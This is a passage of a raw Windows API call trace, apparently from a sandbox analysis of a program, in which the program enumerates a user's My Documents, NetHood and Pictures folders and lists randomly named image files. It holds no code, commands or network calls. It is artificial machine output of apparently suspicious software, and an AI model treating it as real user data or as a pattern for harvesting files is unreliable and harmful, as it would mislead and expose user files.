ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 0 [0124.379] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.379] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.380] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0124.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.380] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.380] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.380] PathFindFileNameW (pszPath="") returned="" [0124.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 0xffffffff [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.380] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0124.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.380] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.380] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.380] PathFindFileNameW (pszPath="") returned="" [0124.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 0xffffffff [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.380] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.380] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0124.380] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.381] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.381] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.381] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.381] PathFindFileNameW (pszPath="") returned="" [0124.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8fe8900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8fe8900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.381] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.381] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8fe8900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8fe8900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb46bf00, ftCreationTime.dwHighDateTime=0x1d5e314, ftLastAccessTime.dwLowDateTime=0x3bad0660, ftLastAccessTime.dwHighDateTime=0x1d5dffe, ftLastWriteTime.dwLowDateTime=0x3bad0660, ftLastWriteTime.dwHighDateTime=0x1d5dffe, nFileSizeHigh=0x0, nFileSizeLow=0x46c5, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2-xyNT8e WM7SpMp.bmp", cAlternateFileName="2-XYNT~1.BMP")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b664040, ftCreationTime.dwHighDateTime=0x1d5e112, ftLastAccessTime.dwLowDateTime=0x143b8e70, ftLastAccessTime.dwHighDateTime=0x1d5dd2a, ftLastWriteTime.dwLowDateTime=0x143b8e70, ftLastWriteTime.dwHighDateTime=0x1d5dd2a, nFileSizeHigh=0x0, nFileSizeLow=0x14930, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2VdVROGOaJhbJy.gif", cAlternateFileName="2VDVRO~1.GIF")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad3afd60, ftCreationTime.dwHighDateTime=0x1d5e0e3, ftLastAccessTime.dwLowDateTime=0x34b9b8f0, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x34b9b8f0, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0xf174, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3n qVt- wlj -Go4 V.bmp", cAlternateFileName="3NQVT-~1.BMP")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720958b0, ftCreationTime.dwHighDateTime=0x1d5db41, ftLastAccessTime.dwLowDateTime=0x265ba9e0, ftLastAccessTime.dwHighDateTime=0x1d5e555, ftLastWriteTime.dwLowDateTime=0x265ba9e0, ftLastWriteTime.dwHighDateTime=0x1d5e555, nFileSizeHigh=0x0, nFileSizeLow=0x4cd9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4EFum_ZEFyEAYh7kD.png", cAlternateFileName="4EFUM_~1.PNG")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a644d0, ftCreationTime.dwHighDateTime=0x1d5dd06, ftLastAccessTime.dwLowDateTime=0x612bc4f0, ftLastAccessTime.dwHighDateTime=0x1d5e033, ftLastWriteTime.dwLowDateTime=0x612bc4f0, ftLastWriteTime.dwHighDateTime=0x1d5e033, nFileSizeHigh=0x0, nFileSizeLow=0xd332, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5hhff9e1MP2_F6Ew9r2.bmp", cAlternateFileName="5HHFF9~1.BMP")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55487f90, ftCreationTime.dwHighDateTime=0x1d5e6a3, ftLastAccessTime.dwLowDateTime=0xab91e510, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xab91e510, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x8e63, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6ef-QQGKj3G9q58gy.jpg", cAlternateFileName="6EF-QQ~1.JPG")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6239e730, ftCreationTime.dwHighDateTime=0x1d5e1c0, ftLastAccessTime.dwLowDateTime=0x1f465020, ftLastAccessTime.dwHighDateTime=0x1d5db86, ftLastWriteTime.dwLowDateTime=0x1f465020, ftLastWriteTime.dwHighDateTime=0x1d5db86, nFileSizeHigh=0x0, nFileSizeLow=0xa3e3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8nsDvVyTWic7d1G8VIn.bmp", cAlternateFileName="8NSDVV~1.BMP")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cab8600, ftCreationTime.dwHighDateTime=0x1d5de5c, ftLastAccessTime.dwLowDateTime=0x69f385e0, ftLastAccessTime.dwHighDateTime=0x1d5dae9, ftLastWriteTime.dwLowDateTime=0x69f385e0, ftLastWriteTime.dwHighDateTime=0x1d5dae9, nFileSizeHigh=0x0, nFileSizeLow=0xd79d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="9-YC.jpg", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f13e50, ftCreationTime.dwHighDateTime=0x1d5da29, ftLastAccessTime.dwLowDateTime=0xd5ed4d40, ftLastAccessTime.dwHighDateTime=0x1d5d944, ftLastWriteTime.dwLowDateTime=0xd5ed4d40, ftLastWriteTime.dwHighDateTime=0x1d5d944, nFileSizeHigh=0x0, nFileSizeLow=0x717b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="AM8YNwEaN3O3.gif", cAlternateFileName="AM8YNW~1.GIF")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe0d9b50, ftCreationTime.dwHighDateTime=0x1d5d825, ftLastAccessTime.dwLowDateTime=0xb3e6d10, ftLastAccessTime.dwHighDateTime=0x1d5da5a, ftLastWriteTime.dwLowDateTime=0xb3e6d10, ftLastWriteTime.dwHighDateTime=0x1d5da5a, nFileSizeHigh=0x0, nFileSizeLow=0x9cbc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="B3JAn7xGWGt3nrMquz.png", cAlternateFileName="B3JAN7~1.PNG")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68cd0370, ftCreationTime.dwHighDateTime=0x1d5ddab, ftLastAccessTime.dwLowDateTime=0xc42eeb70, ftLastAccessTime.dwHighDateTime=0x1d5dc3e, ftLastWriteTime.dwLowDateTime=0xc42eeb70, ftLastWriteTime.dwHighDateTime=0x1d5dc3e, nFileSizeHigh=0x0, nFileSizeLow=0xfe9d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="B5vop.bmp", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fd8c630, ftCreationTime.dwHighDateTime=0x1d5d97d, ftLastAccessTime.dwLowDateTime=0x72885940, ftLastAccessTime.dwHighDateTime=0x1d5db2c, ftLastWriteTime.dwLowDateTime=0x72885940, ftLastWriteTime.dwHighDateTime=0x1d5db2c, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bFIAHt.png", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c083d0, ftCreationTime.dwHighDateTime=0x1d5e2d4, ftLastAccessTime.dwLowDateTime=0xa8b372f0, ftLastAccessTime.dwHighDateTime=0x1d5e263, ftLastWriteTime.dwLowDateTime=0xa8b372f0, ftLastWriteTime.dwHighDateTime=0x1d5e263, nFileSizeHigh=0x0, nFileSizeLow=0x15d33, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BVNTcpl syJZ.gif", cAlternateFileName="BVNTCP~1.GIF")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8864160, ftCreationTime.dwHighDateTime=0x1d5e12a, ftLastAccessTime.dwLowDateTime=0x9a9199c0, ftLastAccessTime.dwHighDateTime=0x1d5dec3, ftLastWriteTime.dwLowDateTime=0x9a9199c0, ftLastWriteTime.dwHighDateTime=0x1d5dec3, nFileSizeHigh=0x0, nFileSizeLow=0x15375, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Chzn1z.bmp", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf1bc00, ftCreationTime.dwHighDateTime=0x1d5d9da, ftLastAccessTime.dwLowDateTime=0x3a8a4a30, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x3a8a4a30, ftLastWriteTime.dwHighDateTime=0x1d5e220, nFileSizeHigh=0x0, nFileSizeLow=0x13e8b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="EcRUIFrkcwteoITv.jpg", cAlternateFileName="ECRUIF~1.JPG")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c955d00, ftCreationTime.dwHighDateTime=0x1d5ddd4, ftLastAccessTime.dwLowDateTime=0xbaff8ca0, ftLastAccessTime.dwHighDateTime=0x1d5d854, ftLastWriteTime.dwLowDateTime=0xbaff8ca0, ftLastWriteTime.dwHighDateTime=0x1d5d854, nFileSizeHigh=0x0, nFileSizeLow=0x7f11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="eQ3QKHb.png", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98233c40, ftCreationTime.dwHighDateTime=0x1d5e2bd, ftLastAccessTime.dwLowDateTime=0x895a8030, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x895a8030, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x14a75, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="EREIYi.bmp", cAlternateFileName="")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1cf30, ftCreationTime.dwHighDateTime=0x1d5dae8, ftLastAccessTime.dwLowDateTime=0x3532cc40, ftLastAccessTime.dwHighDateTime=0x1d5e245, ftLastWriteTime.dwLowDateTime=0x3532cc40, ftLastWriteTime.dwHighDateTime=0x1d5e245, nFileSizeHigh=0x0, nFileSizeLow=0xd534, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FuNf.bmp", cAlternateFileName="")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1709e0, ftCreationTime.dwHighDateTime=0x1d5e489, ftLastAccessTime.dwLowDateTime=0xe50c8360, ftLastAccessTime.dwHighDateTime=0x1d5dc4e, ftLastWriteTime.dwLowDateTime=0xe50c8360, ftLastWriteTime.dwHighDateTime=0x1d5dc4e, nFileSizeHigh=0x0, nFileSizeLow=0x29e7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FwxuCJSmF4ISgtat.gif", cAlternateFileName="FWXUCJ~1.GIF")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48e5060, ftCreationTime.dwHighDateTime=0x1d5e7b2, ftLastAccessTime.dwLowDateTime=0xbd74f510, ftLastAccessTime.dwHighDateTime=0x1d5daa7, ftLastWriteTime.dwLowDateTime=0xbd74f510, ftLastWriteTime.dwHighDateTime=0x1d5daa7, nFileSizeHigh=0x0, nFileSizeLow=0xc272, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ib5U.png", cAlternateFileName="")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18182880, ftCreationTime.dwHighDateTime=0x1d5e321, ftLastAccessTime.dwLowDateTime=0xa4de7040, ftLastAccessTime.dwHighDateTime=0x1d5dc3b, ftLastWriteTime.dwLowDateTime=0xa4de7040, ftLastWriteTime.dwHighDateTime=0x1d5dc3b, nFileSizeHigh=0x0, nFileSizeLow=0x17fa7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ICmX1V6.bmp", cAlternateFileName="")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8affb3e0, ftCreationTime.dwHighDateTime=0x1d5df57, ftLastAccessTime.dwLowDateTime=0xd505f500, ftLastAccessTime.dwHighDateTime=0x1d5dd2a, ftLastWriteTime.dwLowDateTime=0xd505f500, ftLastWriteTime.dwHighDateTime=0x1d5dd2a, nFileSizeHigh=0x0, nFileSizeLow=0x8291, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IpVy0XJ EagknhKEy.bmp", cAlternateFileName="IPVY0X~1.BMP")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f75e7a0, ftCreationTime.dwHighDateTime=0x1d5e3a1, ftLastAccessTime.dwLowDateTime=0xa85c34b0, ftLastAccessTime.dwHighDateTime=0x1d5e5a4, ftLastWriteTime.dwLowDateTime=0xa85c34b0, ftLastWriteTime.dwHighDateTime=0x1d5e5a4, nFileSizeHigh=0x0, nFileSizeLow=0x1725b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="l9KrUNuvCNgxXIGOBY-h.gif", cAlternateFileName="L9KRUN~1.GIF")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eaa10, ftCreationTime.dwHighDateTime=0x1d5da4c, ftLastAccessTime.dwLowDateTime=0x9b382c10, ftLastAccessTime.dwHighDateTime=0x1d5e10a, ftLastWriteTime.dwLowDateTime=0x9b382c10, ftLastWriteTime.dwHighDateTime=0x1d5e10a, nFileSizeHigh=0x0, nFileSizeLow=0xcb38, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="mSGcffu0UFI8T.png", cAlternateFileName="MSGCFF~1.PNG")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab8b32d0, ftCreationTime.dwHighDateTime=0x1d5e67b, ftLastAccessTime.dwLowDateTime=0x62b6a410, ftLastAccessTime.dwHighDateTime=0x1d5e0ca, ftLastWriteTime.dwLowDateTime=0x62b6a410, ftLastWriteTime.dwHighDateTime=0x1d5e0ca, nFileSizeHigh=0x0, nFileSizeLow=0xe74, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="olzBrKU_9DBR.jpg", cAlternateFileName="OLZBRK~1.JPG")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e470a40, ftCreationTime.dwHighDateTime=0x1d5dd48, ftLastAccessTime.dwLowDateTime=0x1d018740, ftLastAccessTime.dwHighDateTime=0x1d5e0cb, ftLastWriteTime.dwLowDateTime=0x1d018740, ftLastWriteTime.dwHighDateTime=0x1d5e0cb, nFileSizeHigh=0x0, nFileSizeLow=0x1965, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="PX2 RzTAg.jpg", cAlternateFileName="PX2RZT~1.JPG")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131d280, ftCreationTime.dwHighDateTime=0x1d5e68e, ftLastAccessTime.dwLowDateTime=0x50259fb0, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x50259fb0, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0xd9a9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="p_Qq4nGXh6.gif", cAlternateFileName="P_QQ4N~1.GIF")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b01510, ftCreationTime.dwHighDateTime=0x1d5e30c, ftLastAccessTime.dwLowDateTime=0xcc2a3340, ftLastAccessTime.dwHighDateTime=0x1d5d926, ftLastWriteTime.dwLowDateTime=0xcc2a3340, ftLastWriteTime.dwHighDateTime=0x1d5d926, nFileSizeHigh=0x0, nFileSizeLow=0xb6c4, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qioZMu3P.jpg", cAlternateFileName="")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96c5ffa0, ftCreationTime.dwHighDateTime=0x1d5df6f, ftLastAccessTime.dwLowDateTime=0x513599c0, ftLastAccessTime.dwHighDateTime=0x1d5da4a, ftLastWriteTime.dwLowDateTime=0x513599c0, ftLastWriteTime.dwHighDateTime=0x1d5da4a, nFileSizeHigh=0x0, nFileSizeLow=0x18a19, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qQdjXCNPUMlvX4GrMP.jpg", cAlternateFileName="QQDJXC~1.JPG")) returned 1 [0124.383] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x678ab9b0, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x68adaef0, ftLastAccessTime.dwHighDateTime=0x1d5e42a, ftLastWriteTime.dwLowDateTime=0x68adaef0, ftLastWriteTime.dwHighDateTime=0x1d5e42a, nFileSizeHigh=0x0, nFileSizeLow=0x8949, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rR69sidS4ssYz6nI.gif", cAlternateFileName="RR69SI~1.GIF")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb088e020, ftCreationTime.dwHighDateTime=0x1d5dc12, ftLastAccessTime.dwLowDateTime=0x6565e5a0, ftLastAccessTime.dwHighDateTime=0x1d5e759, ftLastWriteTime.dwLowDateTime=0x6565e5a0, ftLastWriteTime.dwHighDateTime=0x1d5e759, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="uTb2XNe2OP5R tei8lV1.png", cAlternateFileName="UTB2XN~1.PNG")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b87a60, ftCreationTime.dwHighDateTime=0x1d5e521, ftLastAccessTime.dwLowDateTime=0x947b9b00, ftLastAccessTime.dwHighDateTime=0x1d5dafc, ftLastWriteTime.dwLowDateTime=0x947b9b00, ftLastWriteTime.dwHighDateTime=0x1d5dafc, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="VruK5uac3vMJHabZLR.bmp", cAlternateFileName="VRUK5U~1.BMP")) returned 1 [0124.384] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5dd2080, ftCreationTime.dwHighDateTime=0x1d5e41b, ftLastAccessTime.dwLowDateTime=0x4f445730, ftLastAccessTime.dwHighDateTime=0x1d5e4b5, ftLastWriteTime.dwLowDateTime=0x4f445730, ftLastWriteTime.dwHighDateTime=0x1d5e4b5, 